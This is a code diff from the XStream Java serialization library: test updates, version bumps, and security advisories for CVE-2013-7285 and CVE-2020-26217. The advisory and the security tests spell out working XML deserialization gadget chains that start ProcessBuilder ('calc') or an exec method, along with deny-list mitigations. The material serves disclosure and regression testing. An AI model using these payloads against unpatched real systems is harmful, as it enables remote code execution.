76 assertTrue(e.getMessage().indexOf(EventHandler.class.getName())>=0);
77 assertTrue(e.getMessage().indexOf(EventHandler.class.getName()) >= 0);
7778 }
7879 assertEquals(0, BUFFER.length());
7980 }
8081
8182 public void testExplicitlyConvertEventHandler() {
8283 final String xml = ""
83 + "<string class='runnable-array'>\n"
84 + " <dynamic-proxy>\n"
85 + " <interface>java.lang.Runnable</interface>\n"
86 + " <handler class='java.beans.EventHandler'>\n"
87 + " <target class='com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec'/>\n"
88 + " <action>exec</action>\n"
89 + " </handler>\n"
90 + " </dynamic-proxy>\n"
91 + "</string>";
84 + "<string class='runnable-array'>\n"
85 + " <dynamic-proxy>\n"
86 + " <interface>java.lang.Runnable</interface>\n"
87 + " <handler class='java.beans.EventHandler'>\n"
88 + " <target class='com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec'/>\n"
89 + " <action>exec</action>\n"
90 + " </handler>\n"
91 + " </dynamic-proxy>\n"
92 + "</string>";
9293
9394 xstream.allowTypes(new Class[]{EventHandler.class});
94 xstream.registerConverter(new ReflectionConverter(xstream.getMapper(), xstream
95 .getReflectionProvider(), EventHandler.class));
9695
9796 final Runnable[] array = (Runnable[])xstream.fromXML(xml);
9897 assertEquals(0, BUFFER.length());
10099 assertEquals("Executed!", BUFFER.toString());
101100 }
102101
102 public void testCannotInjectConvertImageIOContainsFilterWithUnconfiguredSecurityFramework() {
103 if (JVM.isVersion(7)) {
104 final String xml = ""
105 + "<string class='javax.imageio.spi.FilterIterator'>\n"
106 + " <iter class='java.util.ArrayList$Itr'>\n"
107 + " <cursor>0</cursor>\n"
108 + " <lastRet>1</lastRet>\n"
109 + " <expectedModCount>1</expectedModCount>\n"
110 + " <outer-class>\n"
111 + " <com.thoughtworks.acceptance.SecurityVulnerabilityTest_-Exec/>\n"
112 + " </outer-class>\n"
113 + " </iter>\n"
114 + " <filter class='javax.imageio.ImageIO$ContainsFilter'>\n"
115 + " <method>\n"
116 + " <class>com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec</class>\n"
117 + " <name>exec</name>\n"
118 + " <parameter-types/>\n"
119 + " </method>\n"
120 + " <name>exec</name>\n"
121 + " </filter>\n"
122 + " <next/>\n"
123 + "</string>";
124
125 try {
126 xstream.fromXML(xml);
127 fail("Thrown " + XStreamException.class.getName() + " expected");
128 } catch (final XStreamException e) {
129 assertTrue(e.getMessage().indexOf("javax.imageio.ImageIO$ContainsFilter") >= 0);
130 }
131 assertEquals(0, BUFFER.length());
132 }
133 }
134
135 public void testExplicitlyConvertImageIOContainsFilter() {
136 if (JVM.isVersion(7)) {
137 final String xml = ""
138 + "<string class='javax.imageio.spi.FilterIterator'>\n"
139 + " <iter class='java.util.ArrayList$Itr'>\n"
140 + " <cursor>0</cursor>\n"
141 + " <lastRet>1</lastRet>\n"
142 + " <expectedModCount>1</expectedModCount>\n"
143 + " <outer-class>\n"
144 + " <com.thoughtworks.acceptance.SecurityVulnerabilityTest_-Exec/>\n"
145 + " </outer-class>\n"
146 + " </iter>\n"
147 + " <filter class='javax.imageio.ImageIO$ContainsFilter'>\n"
148 + " <method>\n"
149 + " <class>com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec</class>\n"
150 + " <name>exec</name>\n"
151 + " <parameter-types/>\n"
152 + " </method>\n"
153 + " <name>exec</name>\n"
154 + " </filter>\n"
155 + " <next/>\n"
156 + "</string>";
157
158 xstream.allowTypes(new String[]{"javax.imageio.ImageIO$ContainsFilter"});
159
160 final Iterator iterator = (Iterator)xstream.fromXML(xml);
161 assertEquals(0, BUFFER.length());
162 iterator.next();
163 assertEquals("Executed!", BUFFER.toString());
164 }
165 }
166
103167 public static class Exec {
104168
105169 public void exec() {
107171 }
108172 }
109173
174 public void testInstanceOfVoid() {
175 try {
176 xstream.fromXML("<void/>");
177 fail("Thrown " + ConversionException.class.getName() + " expected");
178 } catch (final ConversionException e) {
179 assertEquals("void", e.get("construction-type"));
180 }
181 }
182
110183 public void testDeniedInstanceOfVoid() {
184 xstream.addPermission(AnyTypePermission.ANY); // clear out defaults
185 xstream.denyTypes(new Class[]{void.class, Void.class});
111186 try {
112187 xstream.fromXML("<void/>");
113188 fail("Thrown " + ForbiddenClassException.class.getName() + " expected");
117192 }
118193
119194 public void testAllowedInstanceOfVoid() {
120 xstream.allowTypes(new Class[] { void.class, Void.class });
195 xstream.allowTypes(new Class[]{void.class, Void.class});
121196 try {
122197 xstream.fromXML("<void/>");
123198 fail("Thrown " + ConversionException.class.getName() + " expected");
124199 } catch (final ConversionException e) {
125 assertEquals("void", e.get("required-type"));
200 assertEquals("void", e.get("construction-type"));
201 }
202 }
203
204 public static class LazyIterator {}
205
206 public void testInstanceOfLazyIterator() {
207 xstream.alias("lazy-iterator", LazyIterator.class);
208 try {
209 xstream.fromXML("<lazy-iterator/>");
210 fail("Thrown " + ForbiddenClassException.class.getName() + " expected");
211 } catch (final ForbiddenClassException e) {
212 // OK
126213 }
127214 }
128215 }
00 /*
11 * Copyright (C) 2006 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2011, 2017 XStream Committers.
2 * Copyright (C) 2006, 2007, 2011, 2017, 2019, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
66 * style license a copy of which has been included with this distribution in
77 * the LICENSE.txt file.
8 *
8 *
99 * Created on 18. April 2006 by Mauro Talevi
1010 */
1111 package com.thoughtworks.acceptance;
1212
13 import java.text.DecimalFormatSymbols;
14 import java.util.Locale;
15
1316 import com.thoughtworks.acceptance.objects.StandardObject;
1417 import com.thoughtworks.xstream.core.JVM;
15
16 import java.text.DecimalFormatSymbols;
17 import java.util.Locale;
1818
1919
2020 public class XmlFriendlyTest extends AbstractAcceptanceTest {
2929 public void testSupportsFieldsWithDollarChar() {
3030 xstream.alias("dollar", WithDollarCharField.class);
3131
32 WithDollarCharField in = new WithDollarCharField();
32 final WithDollarCharField in = new WithDollarCharField();
3333 in.$field = "a";
3434 in.field$ = "b";
3535 in.fi$eld = "c";
3636 in.fi$$eld = "d";
3737
38 String expected = ""
38 final String expected = ""
3939 + "<dollar>\n"
4040 + " <_-field>a</_-field>\n"
4141 + " <field_->b</field_->\n"
5454 public void testSupportsFieldsWithUnderscoreChar() {
5555 xstream.alias("underscore", WithUnderscoreCharField.class);
5656
57 WithUnderscoreCharField in = new WithUnderscoreCharField();
57 final WithUnderscoreCharField in = new WithUnderscoreCharField();
5858 in._field = "a";
5959 in.field_ = "b";
6060 in.fi_eld = "c";
6161
62 String expected = ""
62 final String expected = ""
6363 + "<underscore>\n"
6464 + " <__field>a</__field>\n"
6565 + " <field__>b</field__>\n"
7777 public void testSupportsFieldsWithDoubleUnderscoreChar() {
7878 xstream.alias("underscore", WithDoubleUnderscoreCharField.class);
7979
80 WithDoubleUnderscoreCharField in = new WithDoubleUnderscoreCharField();
80 final WithDoubleUnderscoreCharField in = new WithDoubleUnderscoreCharField();
8181 in.__field = "a";
8282 in.field__ = "b";
8383 in.fi__eld = "c";
8484
85 String expected = ""
85 final String expected = ""
8686 + "<underscore>\n"
8787 + " <____field>a</____field>\n"
8888 + " <field____>b</field____>\n"
102102 public void testSupportsFieldsWithDollarAndUnderScoreChar() {
103103 xstream.alias("dollar", WithDollarAndUnderscoreCharField.class);
104104
105 WithDollarAndUnderscoreCharField in = new WithDollarAndUnderscoreCharField();
105 final WithDollarAndUnderscoreCharField in = new WithDollarAndUnderscoreCharField();
106106 in.$_$field = "a";
107107 in.field$_$ = "b";
108108 in.fi_$_eld = "c";
109109 in.fi_$$_eld = "d";
110110 in.fi$__$eld = "e";
111111
112 String expected = ""
112 final String expected = ""
113113 + "<dollar>\n"
114114 + " <_-___-field>a</_-___-field>\n"
115115 + " <field_-___->b</field_-___->\n"
125125 String _µ;
126126 String ¢¥€£äöüß;
127127 }
128
128
129129 public void testSupportsFieldsWithUnusualChars() {
130130 xstream.alias("unusual", WithUnusualCharacters.class);
131131
132 WithUnusualCharacters in = new WithUnusualCharacters();
132 final WithUnusualCharacters in = new WithUnusualCharacters();
133133 in.µ_ = "a";
134134 in._µ = "b";
135135 in.¢¥€£äöüß = "c";
136136
137 String expected = ""
137 final String expected = ""
138138 + "<unusual>\n"
139139 + " <_.00b5__>a</_.00b5__>\n"
140140 + " <___.00b5>b</___.00b5>\n"
141 + " <_.00a2_.00a5€_.00a3äöüß>c</_.00a2_.00a5€_.00a3äöüß>\n"
141 + " <_.00a2_.00a5_.20ac_.00a3äöüß>c</_.00a2_.00a5_.20ac_.00a3äöüß>\n"
142142 + "</unusual>";
143143 assertBothWays(in, expected);
144144 }
145145
146146 public static class __ {
147147 public static class A_B extends StandardObject {
148 private int x;
149
150 public A_B(int x) {
148 private final int x;
149
150 public A_B(final int x) {
151151 this.x = x;
152152 }
153153
162162 }
163163
164164 public void testSlashRSlashSlashSlashN() {
165 String before = "\r\\\n";
166 String xml = xstream.toXML(before);
165 final String before = "\r\\\n";
166 final String xml = xstream.toXML(before);
167167 assertEquals(before, xstream.fromXML(xml));
168168 }
169169
189189 public void testDecimalFormatSymbols() {
190190 final String xml;
191191 if (!JVM.is14()) {
192 xml = "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
192 xml = ""
193 + "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
193194 + " <java.text.DecimalFormatSymbols>\n"
194195 + " <default>\n"
195196 + " <decimalSeparator>,</decimalSeparator>\n"
211212 + " </java.text.DecimalFormatSymbols>\n"
212213 + "</java.text.DecimalFormatSymbols>";
213214 } else if (!JVM.is16()) {
214 xml = "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
215 xml = ""
216 + "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
215217 + " <java.text.DecimalFormatSymbols>\n"
216218 + " <default>\n"
217219 + " <decimalSeparator>,</decimalSeparator>\n"
233235 + " </default>\n"
234236 + " </java.text.DecimalFormatSymbols>\n"
235237 + "</java.text.DecimalFormatSymbols>";
236 } else {
237 xml = "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
238 } else if (!JVM.isVersion(13)) {
239 xml = ""
240 + "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
238241 + " <java.text.DecimalFormatSymbols>\n"
239242 + " <default>\n"
240243 + " <decimalSeparator>,</decimalSeparator>\n"
254257 + " <infinity>\u221e</infinity>\n"
255258 + " <intlCurrencySymbol>EUR</intlCurrencySymbol>\n"
256259 + " <locale>de_DE</locale>\n"
260 + " </default>\n"
261 + " </java.text.DecimalFormatSymbols>\n"
262 + "</java.text.DecimalFormatSymbols>";
263 } else if (!JVM.isVersion(15)) {
264 xml = ""
265 + "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
266 + " <java.text.DecimalFormatSymbols>\n"
267 + " <default>\n"
268 + " <decimalSeparator>,</decimalSeparator>\n"
269 + " <digit>#</digit>\n"
270 + " <exponential>E</exponential>\n"
271 + " <groupingSeparator>.</groupingSeparator>\n"
272 + " <minusSign>-</minusSign>\n"
273 + " <monetarySeparator>,</monetarySeparator>\n"
274 + " <patternSeparator>;</patternSeparator>\n"
275 + " <perMill>\u2030</perMill>\n"
276 + " <percent>%</percent>\n"
277 + " <serialVersionOnStream>4</serialVersionOnStream>\n"
278 + " <zeroDigit>0</zeroDigit>\n"
279 + " <NaN>NaN</NaN>\n"
280 + " <currencySymbol>\u20ac</currencySymbol>\n"
281 + " <exponentialSeparator>E</exponentialSeparator>\n"
282 + " <infinity>\u221e</infinity>\n"
283 + " <intlCurrencySymbol>EUR</intlCurrencySymbol>\n"
284 + " <locale>de_DE</locale>\n"
285 + " <minusSignText>-</minusSignText>\n"
286 + " <perMillText>\u2030</perMillText>\n"
287 + " <percentText>%</percentText>\n"
288 + " </default>\n"
289 + " </java.text.DecimalFormatSymbols>\n"
290 + "</java.text.DecimalFormatSymbols>";
291 } else {
292 xml = ""
293 + "<java.text.DecimalFormatSymbols serialization=\"custom\">\n"
294 + " <java.text.DecimalFormatSymbols>\n"
295 + " <default>\n"
296 + " <decimalSeparator>,</decimalSeparator>\n"
297 + " <digit>#</digit>\n"
298 + " <exponential>E</exponential>\n"
299 + " <groupingSeparator>.</groupingSeparator>\n"
300 + " <hashCode>0</hashCode>\n"
301 + " <minusSign>-</minusSign>\n"
302 + " <monetaryGroupingSeparator>.</monetaryGroupingSeparator>\n"
303 + " <monetarySeparator>,</monetarySeparator>\n"
304 + " <patternSeparator>;</patternSeparator>\n"
305 + " <perMill>\u2030</perMill>\n"
306 + " <percent>%</percent>\n"
307 + " <serialVersionOnStream>5</serialVersionOnStream>\n"
308 + " <zeroDigit>0</zeroDigit>\n"
309 + " <NaN>NaN</NaN>\n"
310 + " <currencySymbol>\u20ac</currencySymbol>\n"
311 + " <exponentialSeparator>E</exponentialSeparator>\n"
312 + " <infinity>\u221e</infinity>\n"
313 + " <intlCurrencySymbol>EUR</intlCurrencySymbol>\n"
314 + " <locale>de_DE</locale>\n"
315 + " <minusSignText>-</minusSignText>\n"
316 + " <perMillText>\u2030</perMillText>\n"
317 + " <percentText>%</percentText>\n"
257318 + " </default>\n"
258319 + " </java.text.DecimalFormatSymbols>\n"
259320 + "</java.text.DecimalFormatSymbols>";
0 /*
1 * Copyright (C) 2020 XStream Committers.
2 * All rights reserved.
3 *
4 * The software in this package is published under the terms of the BSD
5 * style license a copy of which has been included with this distribution in
6 * the LICENSE.txt file.
7 *
8 * Created on 12. Mar 2020 by Zezeng Wang
9 */
10
11 package com.thoughtworks.xstream.converters.basic;
12
13 import java.util.HashMap;
14 import java.util.Map;
15
16 import junit.framework.TestCase;
17
18
19 /**
20 * Tests {@link StringConverter}.
21 */
22 public class StringConverterTest extends TestCase {
23
24 /**
25 * Tests use of own map implementation for cache.
26 */
27 public void testOwnMapImplementationForCache() {
28 // Using the parameter map constructor
29 final Map map = new HashMap();
30 final StringConverter converter = new StringConverter(map);
31 assertSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // cached value
32 assertEquals(1, map.size());
33 }
34
35 /**
36 * Tests cache limitation for string length.
37 */
38 public void testCacheLimitationBasedOnStringLength() {
39 // Using the int constructor
40 final StringConverter converter = new StringConverter(4);
41 assertSame(converter.fromString("Test"), converter.fromString(new String("Test"))); // cached value
42 assertNotSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // non-cached value
43 }
44
45 /**
46 * Tests no cache.
47 */
48 public void testNoCache() {
49 final StringConverter converter = new StringConverter(null);
50 assertNotSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // non-cached value
51 }
52
53 /**
54 * Tests own map implementation and string length limit for cache.
55 */
56 public void testOwnMapImplementationAndStringLegnthLimitForCache() {
57 // Using the map and int constructor
58 final Map map = new HashMap();
59 final StringConverter converter = new StringConverter(map, 4);
60 assertSame(converter.fromString("Test"), converter.fromString(new String("Test"))); // cached value
61 assertNotSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // non-cached value
62 assertEquals(1, map.size());
63 }
64 }
00 /*
1 * Copyright (C) 2007, 2008, 2009, 2010, 2011, 2013, 2016, 2017 XStream Committers.
1 * Copyright (C) 2007, 2008, 2009, 2010, 2011, 2013, 2016, 2017, 2018 XStream Committers.
22 * All rights reserved.
33 *
44 * The software in this package is published under the terms of the BSD
164164 assertEquals(expected, xstream.toXML("\u0000\u0001\u001f\u0020\uffee"));
165165 }
166166
167 public void testSingletonListWithSimpleObject() {
167 public void testListWithOneSimpleObject() {
168168 ArrayList list1 = new ArrayList();
169169 list1.add("one");
170170 String json = xstream.toXML(list1);
185185 ? "{'list':[{'string':['one','two','three']}]}"
186186 : "{'list':{'string':['one','two','three']}}").replace('\'', '"'), json);
187187 ArrayList list2 = (ArrayList)xstream.fromXML(json);
188 assertEquals(json, xstream.toXML(list2));
189 }
190
191 public void testListWithDifferentSimpleObjects() {
192 final ArrayList list1 = new ArrayList();
193 list1.add("one");
194 list1.add(new Integer(2));
195 list1.add(new Float(3.3f));
196 final String json = xstream.toXML(list1);
197 assertEquals((JVM.is15()
198 ? "{'list':[{'string':'one','int':2,'float':3.3}]}"
199 : "{'list':{'string':['one'],'int':2,'float':3.3}}").replace('\'', '"'), json);
200 final ArrayList list2 = (ArrayList)xstream.fromXML(json);
188201 assertEquals(json, xstream.toXML(list2));
189202 }
190203
276289 public void testArrayList() {
277290 if (JVM.is15()) {
278291 ArrayList list1 = new ArrayList();
279 list1.clear();
280292 list1.add(new Integer(12));
281293
282294 list1.add("string");
00 /*
1 * Copyright (C) 2007, 2009, 2011 XStream Committers.
1 * Copyright (C) 2007, 2009, 2011, 2018 XStream Committers.
22 * All rights reserved.
33 *
44 * The software in this package is published under the terms of the BSD
99 */
1010 package com.thoughtworks.xstream.io.xml;
1111
12 import java.io.StringWriter;
13
14 import javax.xml.namespace.QName;
15
1216 import com.thoughtworks.acceptance.someobjects.X;
1317 import com.thoughtworks.acceptance.someobjects.Y;
1418 import com.thoughtworks.xstream.XStream;
1519
16 import org.apache.oro.text.perl.Perl5Util;
17
18 import javax.xml.namespace.QName;
19
20 import java.io.StringWriter;
21
2220 public abstract class AbstractStaxWriterTest extends AbstractXMLWriterTest {
2321
2422 protected StringWriter buffer;
25 protected Perl5Util perlUtil;
2623 protected StaxDriver staxDriver;
2724 private X testInput;
2825
3633 staxDriver.setRepairingNamespace(false);
3734 buffer = new StringWriter();
3835 writer = staxDriver.createWriter(buffer);
39 perlUtil = new Perl5Util();
4036
4137 testInput = new X();
4238 testInput.anInt = 9;
10197 xstream.toXML(testInput, buffer);
10298 }
10399
104 }
100 }
1111
1212 public final class BEAStaxWriterTest extends AbstractStaxWriterTest {
1313 protected void assertXmlProducedIs(String expected) {
14 expected = perlUtil.substitute("s# xmlns=\"\"##g", expected);
15 expected = perlUtil.substitute("s#<(\\w+)([^>]*)/>#<$1$2></$1>#g", expected);
14 expected = expected.replaceAll(" xmlns=\"\"", "");
15 expected = expected.replaceAll("<(\\w+)([^>]*)/>", "<$1$2></$1>");
1616 expected = replaceAll(expected, "&#xd;", "&#13;");
1717 expected = replaceAll(expected, "&#xa;", "&#10;");
1818 expected = replaceAll(expected, "&#x9;", "&#9;");
3636
3737 protected void assertXmlProducedIs(String expected) {
3838 if (!staxDriver.isRepairingNamespace()) {
39 expected = perlUtil.substitute("s# xmlns=\"\"##g", expected);
39 expected = expected.replaceAll(" xmlns=\"\"", "");
4040 }
41 expected = perlUtil.substitute("s#<(\\w+)([^>]*)/>#<$1$2></$1>#g", expected);
41 expected = expected.replaceAll("<(\\w+)([^>]*)/>", "<$1$2></$1>");
4242 expected = replaceAll(expected, "&#xd;", "\r");
4343 // attributes are not properly escaped
4444 expected = replaceAll(expected, "&#xa;", "\n");
1515
1616 public final class WstxWriterTest extends AbstractStaxWriterTest {
1717 protected void assertXmlProducedIs(String expected) {
18 if (!staxDriver.isRepairingNamespace() || perlUtil.match("#<\\w+:\\w+(>| xmlns:\\w+=)#", expected)) {
19 expected = perlUtil.substitute("s# xmlns=\"\"##g", expected);
18 if (!staxDriver.isRepairingNamespace() || expected.matches("<\\w+:\\w+ xmlns:\\w+=.+")) {
19 expected = expected.replaceAll(" xmlns=\"\"", "");
2020 }
21 expected = perlUtil.substitute("s#<(\\w+)([^>]*)/>#<$1$2 />#g", expected);
21 expected = expected.replaceAll("<(\\w+)([^>]*)/>", "<$1$2 />");
2222 expected = replaceAll(expected, "&#x0D;", "&#xd;");
2323 expected = replaceAll(expected, "&gt;", ">"); // Woodstox bug !!
2424 expected = getXMLHeader() + expected;
3636 protected StaxDriver getStaxDriver() {
3737 return new WstxDriver();
3838 }
39 }
39 }
1313 <parent>
1414 <groupId>com.thoughtworks.xstream</groupId>
1515 <artifactId>xstream-parent</artifactId>
16 <version>1.4.11.1</version>
16 <version>1.4.14</version>
1717 </parent>
1818 <artifactId>xstream-benchmark</artifactId>
1919 <packaging>jar</packaging>
1313 <parent>
1414 <groupId>com.thoughtworks.xstream</groupId>
1515 <artifactId>xstream-parent</artifactId>
16 <version>1.4.11.1</version>
16 <version>1.4.14</version>
1717 </parent>
1818 <artifactId>xstream-distribution</artifactId>
1919 <packaging>pom</packaging>
7878 <artifactId>maven-antrun-plugin</artifactId>
7979 <executions>
8080 <execution>
81 <id>process-xsite</id>
8182 <phase>package</phase>
8283 <goals>
8384 <goal>run</goal>
00 <html>
11 <!--
2 Copyright (C) 2017, 2018 XStream committers.
2 Copyright (C) 2017, 2018, 2019 XStream committers.
33 All rights reserved.
44
55 The software in this package is published under the terms of the BSD
3333
3434 <p>Create a simple interface e.g. named <em>Contact</em> and an implementation class. Use XStream to marshal such
3535 an object to XML. Replace the XML with following snippet and unmarshal it again with XStream:</p>
36 <div class="Source XML"><pre>&lt;contact&gt;
37 &lt;dynamic-proxy&gt;
38 &lt;interface&gt;org.company.model.Contact&lt;/interface&gt;
39 &lt;handler class='java.beans.EventHandler'&gt;
40 &lt;target class='java.lang.ProcessBuilder'&gt;
41 &lt;command&gt;
42 &lt;string&gt;calc.exe&lt;/string&gt;
43 &lt;/command&gt;
44 &lt;/target&gt;
45 &lt;action&gt;start&lt;/action&gt;
46 &lt;handler&gt;
47 &lt;/dynamic-proxy&gt;
36 <div class="Source XML"><pre>&lt;contact class='dynamic-proxy'&gt;
37 &lt;interface&gt;org.company.model.Contact&lt;/interface&gt;
38 &lt;handler class='java.beans.EventHandler'&gt;
39 &lt;target class='java.lang.ProcessBuilder'&gt;
40 &lt;command&gt;
41 &lt;string&gt;calc.exe&lt;/string&gt;
42 &lt;/command&gt;
43 &lt;/target&gt;
44 &lt;action&gt;start&lt;/action&gt;
45 &lt;/handler&gt;
4846 &lt;/contact&gt;
4947 </pre></div>
5048 <div class="Source Java"><pre>XStream xstream = new XStream();
00 <html>
11 <!--
2 Copyright (C) 2017 XStream committers.
2 Copyright (C) 2017, 2020 XStream committers.
33 All rights reserved.
44
55 The software in this package is published under the terms of the BSD
5252
5353 <h2 id="workarounds">Workarounds</h2>
5454 <p>XStream contains since version 1.4.7 a <a href="security.html">security framework</a> to prevent an attack
55 described in CVE-2013-7285. This framework can also be used to suppress the current vulnerability by setting:</p>
55 described in CVE-2013-7285. If this framework is properly initialized, it can also be used to suppress the current
56 vulnerability by setting:</p>
5657 <div class="Source Java"><pre>xstream.denyTypes(new Class[]{ void.class, Void.class });
5758 </pre></div>
5859
0 <html>
1 <!--
2 Copyright (C) 2020 XStream committers.
3 All rights reserved.
4
5 The software in this package is published under the terms of the BSD
6 style license a copy of which has been included with this distribution in
7 the LICENSE.txt file.
8
9 Created on 25. September 2020 by Joerg Schaible
10 -->
11 <head>
12 <title>CVE-2020-26217</title>
13 </head>
14 <body>
15
16 <h2 id="vulnerability">Vulnerability</h2>
17
18 <p>CVE-2020-26217: XStream can be used for Remote Code Execution.</p>
19
20 <h2 id="affected_versions">Affected Versions</h2>
21
22 <p>All versions until and including version 1.4.13 are affected, if using the version out of the box. No user is
23 affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
24 framework</a> with a white list.</p>
25
26 <h2 id="description">Description</h2>
27
28 <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
29 XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
30 input stream and replace or inject objects, that can execute arbitrary shell commands.</p>
31
32 <p>This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime
33 environment, none of which is part of the XStream default blacklist. The same issue has already been reported for
34 Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.</p>
35
36 <h2 id="reproduction">Steps to Reproduce</h2>
37
38 <p>Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and
39 unmarshal it again with XStream:</p>
40 <div class="Source XML"><pre>&lt;map&gt;
41 &lt;entry&gt;
42 &lt;jdk.nashorn.internal.objects.NativeString&gt;
43 &lt;flags&gt;0&lt;/flags&gt;
44 &lt;value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'&gt;
45 &lt;dataHandler&gt;
46 &lt;dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'&gt;
47 &lt;contentType&gt;text/plain&lt;/contentType&gt;
48 &lt;is class='java.io.SequenceInputStream'&gt;
49 &lt;e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'&gt;
50 &lt;iterator class='javax.imageio.spi.FilterIterator'&gt;
51 &lt;iter class='java.util.ArrayList$Itr'&gt;
52 &lt;cursor&gt;0&lt;/cursor&gt;
53 &lt;lastRet&gt;-1&lt;/lastRet&gt;
54 &lt;expectedModCount&gt;1&lt;/expectedModCount&gt;
55 &lt;outer-class&gt;
56 &lt;java.lang.ProcessBuilder&gt;
57 &lt;command&gt;
58 &lt;string&gt;calc&lt;/string&gt;
59 &lt;/command&gt;
60 &lt;/java.lang.ProcessBuilder&gt;
61 &lt;/outer-class&gt;
62 &lt;/iter&gt;
63 &lt;filter class='javax.imageio.ImageIO$ContainsFilter'&gt;
64 &lt;method&gt;
65 &lt;class&gt;java.lang.ProcessBuilder&lt;/class&gt;
66 &lt;name&gt;start&lt;/name&gt;
67 &lt;parameter-types/&gt;
68 &lt;/method&gt;
69 &lt;name&gt;start&lt;/name&gt;
70 &lt;/filter&gt;
71 &lt;next/&gt;
72 &lt;/iterator&gt;
73 &lt;type&gt;KEYS&lt;/type&gt;
74 &lt;/e&gt;
75 &lt;in class='java.io.ByteArrayInputStream'&gt;
76 &lt;buf&gt;&lt;/buf&gt;
77 &lt;pos&gt;0&lt;/pos&gt;
78 &lt;mark&gt;0&lt;/mark&gt;
79 &lt;count&gt;0&lt;/count&gt;
80 &lt;/in&gt;
81 &lt;/is&gt;
82 &lt;consumed&gt;false&lt;/consumed&gt;
83 &lt;/dataSource&gt;
84 &lt;transferFlavors/&gt;
85 &lt;/dataHandler&gt;
86 &lt;dataLen&gt;0&lt;/dataLen&gt;
87 &lt;/value&gt;
88 &lt;/jdk.nashorn.internal.objects.NativeString&gt;
89 &lt;string&gt;test&lt;/string&gt;
90 &lt;/entry&gt;
91 &lt;/map&gt;
92 </pre></div>
93 <div class="Source Java"><pre>XStream xstream = new XStream();
94 xstream.fromXML(xml);
95 </pre></div>
96
97 <p>As soon as the XML gets unmarshalled, the payload gets executed.</p>
98
99 <p>In a similar, but simpler scenario the <em>javax.imageio.ImageIO.ContainsFilter</em> is injected into an
100 <em>java.util.Iterator</em> instance and the payload is executed as soon as the iterator's <em>next</em> method is
101 called.</p>
102
103 <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
104
105 <h2 id="impact">Impact</h2>
106
107 <p>The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed
108 input stream.</p>
109
110 <h2 id="workaround">Workaround</h2>
111 <p>As recommended, use XStream's security framework to implement a white list for the allowed types.</p>
112 <p>Users of XStream 1.4.13 who want to use XStream default black list can simply add two lines to XStream's setup code:</p>
113 <div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
114 xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
115 </pre></div>
116 <p>Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from
117 scratch and deny at least the following types: <em>javax.imageio.ImageIO$ContainsFilter</em>,
118 <em>java.beans.EventHandler</em>, <em>java.lang.ProcessBuilder</em>, <em>java.lang.Void</em> and <em>void</em>.</p>
119 <div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
120 xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
121 </pre></div>
122 <p>Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently
123 know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:</p>
124 <div class="Source Java"><pre>xstream.registerConverter(new Converter() {
125 public boolean canConvert(Class type) {
126 return type != null &amp;&amp; (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || Proxy.isProxy(type));
127 }
128
129 public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
130 throw new ConversionException("Unsupported type due to security reasons.");
131 }
132
133 public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
134 throw new ConversionException("Unsupported type due to security reasons.");
135 }
136 }, XStream.PRIORITY_LOW);
137 </pre></div>
138
139 <h2 id="credits">Credits</h2>
140
141 <p>Chen L reported the issue to XStream and provided the required information to reproduce it. The issue was found
142 by Zhihong Tian and Hui Lu, both from Guangzhou University.</p>
143
144 </body>
145 </html>
00 <html>
11 <!--
2 Copyright (C) 2015, 2016, 2017, 2018 XStream committers.
2 Copyright (C) 2015, 2016, 2017, 2018, 2020 XStream committers.
33 All rights reserved.
44
55 The software in this package is published under the terms of the BSD
1919 <body>
2020 <h2 id="introduction">Introduction</h2>
2121
22 <p>Benchmark results are always dependent on a very individual setup. Normally it is not useful to generalize such results
23 for every use case, but it can give you a hint. However, if you're really in the need of maximum performance, you should
22 <p>Benchmark results are always dependent on a very individual setup. Normally it is not useful to generalize such results
23 for every use case, but it can give you a hint. However, if you're really in the need of maximum performance, you should
2424 probably create an own benchmark with your objects or even use a profiler to detect the real hot spots in your application.</p>
2525
2626 <p>XStream uses the Java Microbenchmark Harness (<a href="http://openjdk.java.net/projects/code-tools/jmh/">JMH</a>)
2727 of the JDK Tools as benchmark framework starting with version 1.4.9. As result it contains a ZIP file
28 (xstream-jmh-&lt;version&gt;-app.zip) as new artifact containing anything required to run the benchmarks. Unpack
